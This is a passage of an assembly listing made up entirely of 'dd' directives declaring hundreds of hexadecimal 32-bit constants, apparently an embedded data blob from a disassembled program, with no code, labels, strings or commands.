		dd 0DFFE3862h, 6A3E4307h, 0E432005Bh, 0DDE01472h, 42120045h
		dd 2934CC06h, 1EE42D83h, 5C1A0102h, 0E0406F2Ch,	0B0A26E1Ch
		dd 0C5CC00C3h, 0ED540C51h, 0E7A9333h, 8DA56600h, 9D35EF40h
		dd 14EEAE8h, 8FDDCEEAh,	0D4C709D2h, 0C60FE099h,	0E02AB67Ah
		dd 0D62B49AEh, 2F580051h, 3DC255D0h, 11DBD03h, 0DC005C77h
		dd 64BCD3B7h, 0F9532610h, 80FD0001h, 870D048Fh,	0BF2A9E03h
		dd 0A04FA86Bh, 0AC6865h, 40C683D1h, 0B0F8608h, 1448C0EEh
		dd 0A5AD0063h, 642D24FBh, 580203F5h, 76DB850Ch,	21C144C0h
		dd 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah, 56107005h,	3D0C36E3h
		dd 0DF5144D8h, 6E297A00h, 8833022Bh, 75080042h,	1643C394h
		dd 0E047953h, 122147E8h, 7F90B6C0h, 519800A2h, 2E1E25E2h
		dd 8000F6F0h, 0DD3C7869h, 1D2A38D2h, 55204h, 0C981D868h
		dd 7E0010B4h, 0BFEB6582h, 3BB0925h, 4B594CE0h, 56A8F05Ah
		dd 72006116h, 48ADF846h, 2D9F7Bh, 4BE70193h, 0D7A7D4FBh
		dd 7906C3Eh, 0E46EF854h, 0DDEBBD51h, 703AC70h, 44BCCCF7h
		dd 78E6304Bh, 11007F6Fh, 64DFCEE9h, 731724B4h, 886A0758h
		dd 0D06023D6h, 0C4709472h, 0BE27D21Fh, 68950C0h, 4F0CAEh
		dd 2F22F114h, 244EC8DDh, 0E4082112h, 8C6C8000h,	2CFEF084h
		dd 0CAEE65h, 1625DCF4h,	3400AA11h, 6A9488F3h, 0ABCF4Fh
		dd 54801B6Ch, 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h
		dd 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h,	3A294100h
		dd 8D8263BCh, 0F87885h,	1975809Ah, 92D2FCF4h, 0D1411300h
		dd 0FEEC5D43h, 9DD000E4h, 5F0B0879h, 50E41E5Bh,	856D7100h
		dd 0F7659784h, 1294004Ah, 2224CA1Dh, 5C0B0810h,	80727453h
		dd 0A5AB2D16h, 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h
		dd 4A82BEh, 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h
		dd 880B39ECh, 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h
		dd 0BA40F22h, 28447291h, 4C9D7B80h, 0D30E3770h,	0E0D8A5BBh
		dd 25876C33h, 927900DEh, 12633018h, 0C848D48Bh,	0ACBC00F4h
		dd 178DB6C4h, 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h
		dd 24985980h, 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh
		dd 0E445400h, 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h
		dd 0E0F82930h, 27D8ABF2h, 87640018h, 6BC58E6Dh,	0C8F72873h
		dd 0B200D142h, 0B14F2610h, 9055E5h, 947AC427h, 814475Ah
		dd 0D6D18001h, 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h
		dd 90E34B16h, 0DCC47F00h, 7C44D148h, 0ABF07EDh,	40B36965h
		dd 12B47542h, 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h
		dd 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h
		dd 31A1866h, 88104619h,	0C8064301h, 1890141Bh, 2E9104E0h
		dd 73A381Ch, 50AE961Ah,	0D27CB865h, 29339F00h, 13AB9C4Ah
		dd 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h, 53588011h
		dd 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh
		dd 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h
		dd 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh
		dd 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h,	0F188A18Bh
		dd 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h
		dd 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h
		dd 38A473h, 0C29887E9h,	145A52E6h, 369FB40Eh, 0BF2B0Fh
		dd 8E1F3EACh, 471000Bh,	0FD27CCFEh, 5F01AF12h, 38EA1CD1h
		dd 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h
		dd 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h
		dd 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh,	0A5D4459Fh
		dd 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh
		dd 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh
		dd 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h
		dd 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h,	686C6Ah
		dd 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h
		dd 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h,	0CE090C9Ch
		dd 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h
		dd 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h,	2E1977D0h
		dd 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h
		dd 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h,	2E10033h
		dd 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h
		dd 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h
		dd 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh
		dd 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh
		dd 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h,	0B95E882Fh
		dd 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h
		dd 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh
		dd 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h
		dd 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h
		dd 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h
		dd 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah
		dd 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h
		dd 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h,	0BE0092ADh
		dd 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h, 4D75E207h
		dd 40903E9Ch, 6132CBh, 6F881931h, 0E655697h, 6AE91F05h
		dd 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h,	0AF0A5406h
		dd 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h
		dd 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h
		dd 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h
		dd 54015DE7h, 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh
		dd 0B8F0D860h, 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h
		dd 0A4290532h, 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h
		dd 5800EF32h, 19F7EAA7h, 0F8BD7076h, 223B00D7h,	2C683603h
		dd 2E008D66h, 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h
		dd 0BD49F300h, 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h
		dd 68D413C0h, 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h
		dd 8FE87AEBh, 763BC812h, 1AF50710h, 0B7D7C429h,	0C0F1A8D1h
		dd 0C81BD3FCh, 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h
		dd 4303B022h, 148D7A37h, 0E8DBE3ACh, 3EA878D4h,	1FF49C8Bh
		dd 5F4DA4D1h, 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h
		dd 0A5691094h, 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h
		dd 943DA9ACh, 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h
		dd 0FF007775h, 57ADCC67h
		dd 0BC002C9Eh, 0DAE74272h, 0C34316h, 0EB22354Eh, 1D6CD5CCh
		dd 13D895h, 3768B8B9h, 0C5648DBh, 0D8BD0B00h, 41FA4E4h
		dd 5FE800D6h, 0E3FE0146h, 0E2F4297Eh, 0F44D6200h, 17B11E9Ch
		dd 0A5C00ACh, 4FF2C727h, 1B002910h, 0DA6CB74Ah,	3E3BA908h
		dd 5F8346C2h, 0EE58E276h, 515EB5E0h, 30E1F43Ah,	3E1378D4h
		dd 0A8BC0020h, 0DA9057A2h, 8504DC36h, 341D0425h, 53DD6FC0h
		dd 0F982008Fh, 0E9A7AAA3h, 4B005DC9h, 5B30D398h, 78E83Dh
		dd 0F7700651h, 0D91E148h, 0A3184700h, 3D83438Ch, 0C9FEA2h
		dd 0ECC28EF4h, 0DBF12124h, 3A14538h, 6838801Ah,	0AAAA875h
		dd 94431FFDh, 6E90004h,	0C525A2D9h, 0E88660E3h,	2AD0AF60h
		dd 0FC2336h, 6E3BBF7h, 1DF8682Fh, 0A0F4EA00h, 86C42B13h
		dd 0A11C0721h, 0C1768528h, 0F4176984h, 7007A41h, 954DBE5h
		dd 0B44AE3h, 9E151AA0h,	0CA2B89B6h, 458BD401h, 952AA2B8h
		dd 1D6B0F20h, 40E2F343h, 4B2FDC3Dh, 970192FBh, 7C67F55Dh
		dd 71F07908h, 89AF0F84h, 34228CD4h, 0E3E35465h,	87EB50EBh
		dd 25FF16F8h, 0C0F84400h, 1C401099h, 478E003Ch,	91342338h
		dd 2C00C830h, 247228E4h, 0E21C2039h, 18412D8Eh,	3F30D4h
		dd 0A4C4B4A6h, 3E6D29DDh, 5002814h, 94E8F35Ah, 0B5F2BF4Fh
		dd 8404D000h, 0B05F76D2h, 0C9440081h, 5DA1708Ah, 8000FC01h
		dd 2EFF0B7Ch, 0FED175h,	7D3944BDh, 4C740482h, 9B3FEB00h
		dd 7B8AF19h, 0D0C10080h, 40B2E937h, 13009839h, 29D8B60Fh
		dd 3BF7750Ah, 5C0AE0BFh, 1E964E35h, 0CB02C121h,	0E8A5E983h
		dd 410072FBh, 880F7F0Ch, 2402C4Ch, 75CAFE0Dh, 0AFC0DAA3h
		dd 0B10023F9h, 6E22DDABh, 0B540F6h, 51E29456h, 2DC5BE53h
		dd 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h
		dd 8205D4ADh, 4A10700h,	182B376Ch, 1688006Bh, 22F35EDEh
		dd 531C4FD7h, 0EDD2C220h, 7998B900h, 28FF6B26h,	0BC2CA6h
		dd 0C7031E14h, 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h
		dd 422ABE3h, 2C71C582h,	0E4888032h, 8900141Fh, 2E051043h
		dd 1060Ch, 667F6854h, 3D53004h,	0DF6EC800h, 0C6097D60h
		dd 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh
		dd 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h
		dd 0E7AE3507h, 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh
		dd 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h
		dd 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh
		dd 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h
		dd 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h,	0B204D085h
		dd 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h
		dd 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh
		dd 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h
		dd 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh
		dd 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h
		dd 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh
		dd 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h, 973477E5h
		dd 9CE47Dh, 0E8C28B30h,	0A73D322Ah, 16032500h, 59396491h
		dd 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h,	46BA44Dh
		dd 88E422h, 0A8903419h,	80282429h, 0E0103D02h, 0C0135074h
		dd 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h
		dd 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh,	64882238h
		dd 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h
		dd 1CF5CD4h, 5ABB4A3Ch,	307B71ABh, 8000019Ch, 742DFC78h
		dd 0B8D71Eh, 135DB2A4h,	0DE2F0451h, 4F5A8000h, 0E16A88C6h
		dd 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h
		dd 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h
		dd 0EB3F19A8h, 8AE705h,	0BC84A663h, 5C766AE1h, 0E810C004h
		dd 0FAC04607h, 12D11Bh,	47653D1Dh, 0E688554h, 8ECE3EFAh
		dd 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h
		dd 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h
		dd 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh
		dd 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h
		dd 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h
		dd 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h
		dd 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h,	0FC00A23Ch
		dd 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h
		dd 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h
		dd 0A75D253h, 0A54494h,	0E38F8BDDh, 49F3C755h, 3CF8F970h
		dd 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh
		dd 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h
		dd 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch
		dd 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h,	14008E4h
		dd 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h
		dd 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h
		dd 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h
		dd 3B63F059h, 3EC3064h,	0C429C314h, 77BB4418h, 0F622CAF0h
		dd 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh
		dd 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh
		dd 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h
		dd 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h,	7F977553h
		dd 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h
		dd 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh,	1F0072D6h
		dd 493DC024h, 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh
		dd 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah
		dd 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh,	8525E6C8h
		dd 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h
		dd 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h,	4CE7A3B8h
		dd 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h
		dd 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h
		dd 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h
		dd 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h,	0F42B2C05h
		dd 957D5A64h, 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h
		dd 70DDB898h, 663F5269h, 804036Ch, 0A04650A1h, 0EC37Ch
		dd 0B6D7EBE8h, 8D8157B4h, 320780E2h, 1C54B09Ch,	1E0E405Eh
		dd 0F194E9F5h, 154FD0FBh, 73E3B06Bh, 483C019Ah,	743E7F6h
		dd 670C86Fh, 44ED7900h,	5D977854h, 3484000Ah, 5817DAF9h
		dd 0D40AF791h, 0E57538A0h, 0A26D2A00h, 717464h,	8D704C52h
		dd 453CAE72h, 39403Ch, 0D05F5089h, 5BBD94h, 75488555h
		dd 7D8AF9F6h, 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h
		dd 0F38065D9h, 888B1BA0h, 956F7400h, 28692C91h,	0DF034C5Ah
		dd 0D91FE905h, 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh
		dd 0D8F60B3Ah, 8500A101h, 492F8A7Eh, 57281707h,	1DC095ECh
		dd 750A5B9h, 16294A7Bh,	5FB43025h, 0AB0090EAh, 0C449C60Eh
		dd 1AD93680h, 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh
		dd 0FB3AE571h, 4E182Ah
		dd 0C9825CA6h, 0F51A8D89h, 0F0FC8700h, 5768BDA2h, 9F7A3C96h
		dd 0F8423180h, 49BF14EAh, 1DEB1903h, 0C388C892h, 0FB83AB90h
		dd 57ED00Ch, 61300FB8h,	0E7E0558Dh, 0AF918696h,	0C32D321Dh
		dd 82C8C0CAh, 60C4A00h,	26D858Ah, 25ECB5BBh, 18E01844h
		dd 6E00EB2Ch, 0A7D04936h, 1D28E6h, 1AC83C42h, 0CB24C90h
		dd 2958241Eh, 399E82C0h, 76481730h, 2E2D0064h, 0EB50B11Ch
		dd 8E00BBD6h, 0BD800A65h, 0B88269h, 203FFA6Ch, 0BADAF8Bh
		dd 4B214E01h, 0E15E0CB3h, 0E73ECh, 804F3332h, 6B447629h
		dd 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h, 0B0200B5h, 5EEB8C68h
		dd 4500DA0Fh, 0EAFF8995h, 78E9AF74h, 55A7011Dh,	598AC47h
		dd 5C06607Dh, 4B00DAF2h, 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h
		dd 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h, 689D3B00h, 0A879AF2Fh
		dd 1CC9043h, 0CB8588Ah,	0E4E54020h, 0C17CA7C8h,	0AF7A4807h
		dd 0E9C0D90Fh, 1F64F5A4h, 6629EEh, 8F100E8Ah, 500A5ECh
		dd 3101B9EDh, 3EA263D5h, 0D803C6Dh, 0B4E14CDAh,	61003FECh
		dd 0AFBC683Eh, 40DB14h,	9E97E805h, 0F77BF6FDh, 0ECCC1112h
		dd 14F45A00h, 0F816A037h, 0D8450084h, 9F89AB25h, 0D97906BAh
		dd 0B8EE6902h, 43F28D4Bh, 0B794E063h, 10520220h, 0F3D76D7Bh
		dd 770E8960h, 9DD96900h, 0ECE4AF02h, 24F57945h,	4A9216h
		dd 6ABE5A7Ch, 2C704ED1h, 4F880E00h, 5122036Eh, 72710066h
		dd 5660A06Dh, 64002567h, 21F8966Ch, 79C9534Fh, 8A936734h
		dd 458EDE1Eh, 25AFB4A0h, 0F700ABD4h, 0EDCF16D5h, 784AEA7h
		dd 31EFBB83h, 0B09E6039h, 0BA00280Dh, 69B1EDE4h, 50FC60h
		dd 1DA2838Bh, 0C64507FDh, 9012DD00h, 0BCC8B01Ah, 21C01E11h
		dd 22C44FACh, 0CC21F032h, 0A4D04400h, 0D8D44086h, 0CA00189h
		dd 12E081DCh, 0C03E719Ch, 680084E8h, 90B48521h,	3F032ECh
		dd 0D51AC435h, 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h
		dd 0D6C447h, 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h
		dd 0CBAD8078h, 0FE32AD61h, 42140063h, 50628864h, 8E676973h
		dd 3F838A10h, 937C9C5h,	8FBC4h,	50C15C6Bh, 0A685EF41h
		dd 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h, 434838CFh
		dd 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h, 0C819F8E9h
		dd 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h,	4E62B8Eh
		dd 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h,	0D427012Fh
		dd 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch
		dd 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h,	0A09C4Ch
		dd 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h
		dd 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh
		dd 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h, 8F010h
		dd 8C022249h, 53140446h, 38838001h, 2F26D49Eh, 206A30h
		dd 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h
		dd 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh
		dd 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh
		dd 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h
		dd 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h
		dd 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh
		dd 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h
		dd 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h
		dd 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h
		dd 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h
		dd 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h
		dd 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h
		dd 0C4548906h, 1AC812h,	91CC214Ch, 28BF48D0h, 0B6D9500h
		dd 5B9038Bh, 2B363D96h,	2CDFD400h, 3CD7AD8Eh, 8D711718h
		dd 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h, 8370147h
		dd 218E428Fh, 0C6E5E8h,	7DB15EBDh, 4A8513F2h, 0D70669FCh
		dd 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh,	39717064h
		dd 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h
		dd 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h
		dd 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh,	93054FF2h
		dd 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h,	4E7930F8h
		dd 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h,	27E853BFh
		dd 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h
		dd 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h
		dd 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh
		dd 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah
		dd 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h, 948DE406h
		dd 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h
		dd 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h
		dd 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h
		dd 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h
		dd 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h
		dd 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h
		dd 352504A1h, 52BCE00h,	0D5D3A79Ch, 0F7BE0011h,	0E5971042h
		dd 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah
		dd 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h
		dd 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh
		dd 1C714AE0h, 0EF225Ch,	0EF42BD9Ah, 3B09D2h, 2ABCAC45h
		dd 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah
		dd 362A009Dh, 34283D06h, 74399110h, 677200C0h, 62431D70h
		dd 64C30077h, 0A1286D66h, 5C036568h, 8A976318h,	12F1A80Bh
		dd 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h
		dd 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h
		dd 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h
		dd 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh
		dd 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h
		dd 63F816h, 64535110h, 77712407h, 700073E6h, 62752676h
		dd 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch,	57006F7Fh
		dd 197BC728h, 0A02A1405h, 955689h, 24848913h, 836AA372h
		dd 0EBF4220Fh, 0BCEFF7h, 4BD79001h, 19200049h, 6BC48B7Eh
		dd 0CC0256BAh, 2566B322h, 64D7867Ah, 49E700E2h,	5614E350h
		dd 0C800B801h, 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch
		dd 21574509h, 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h
		dd 0AD2F5FE9h, 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h
		dd 46163AF4h, 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch
		dd 0ED00A60Eh, 401F496Eh, 754A0047h, 13836653h,	200107Dh
		dd 0C16AF90Ch, 7FC317h,	4B8142EBh, 2C0AD520h, 892F1301h
		dd 0D40708F6h, 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h
		dd 0E319920Fh, 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h
		dd 0EEFF2800h, 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h
		dd 68056ED0h, 0EF82CD8h, 403FB687h, 0D102AAD6h,	0BB400293h
		dd 0C855F5E2h, 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h
		dd 11F4ADD7h, 803908C4h
		dd 4EEC4EC9h, 9884FB14h, 10146A00h, 398F32FFh, 395BAB2Ch
		dd 77404E1Dh, 0D920E52Ch, 307A45h, 2D83DC05h, 0A10B40C4h
		dd 2B6BE802h, 0E1A32341h, 77F01879h, 0D4E00FC7h, 6CA0F82Ah
		dd 5708E999h, 0E152F903h, 782A8CEh, 50B814A4h, 5F9E40D5h
		dd 64B8CA4Ch, 68F95E0Fh, 332DA083h, 7AB4F001h, 58A7035Ah
		dd 0B82005B5h, 0E02AAAD9h, 0FC7050C4h, 0A5093Bh, 34058EB4h
		dd 24F397ADh, 4F16A4h, 0E80183B8h, 39005E33h, 980A7448h
		dd 161506h, 20135DD1h, 0EFC138EBh, 2FFA2400h, 34CA2EA3h
		dd 4479030Eh, 6454231Bh, 0E26E3988h, 52DC7C00h,	0E4DAEA32h
		dd 33560071h, 0FB35C810h, 4002C94h, 34301C84h, 162238h
		dd 0EFFA8068h, 28E21065h, 3732C400h, 0EA9DE860h, 432E00C0h
		dd 74276E61h, 6C00201Dh, 0A64DA6Fh, 3FC41A77h, 28731E58h
		dd 18B22C3h, 5A9EFC08h,	0EB540584h, 0EC1811E9h,	8D01801Ch
		dd 0F0524F0Ch, 88C05C15h, 83420168h, 0F1750AFAh, 7EC06EBDh
		dd 6C9ED5h, 0FF558817h,	82297F3h, 0EC832500h, 10111C93h
		dd 5C01750Ch, 213B7F6h,	0C34C002Dh, 0A80D03D6h,	18D38400h
		dd 22155F2Fh, 6A6B0320h, 8AA2D55Ch, 0CFA132A3h,	37F2F4AFh
		dd 4700EAB8h, 8524F710h, 1482C7h, 0CB560B23h, 0C47FBE4Eh
		dd 0C07B0300h, 48C39428h, 1B2500C8h, 0B00C5793h, 473B3140h
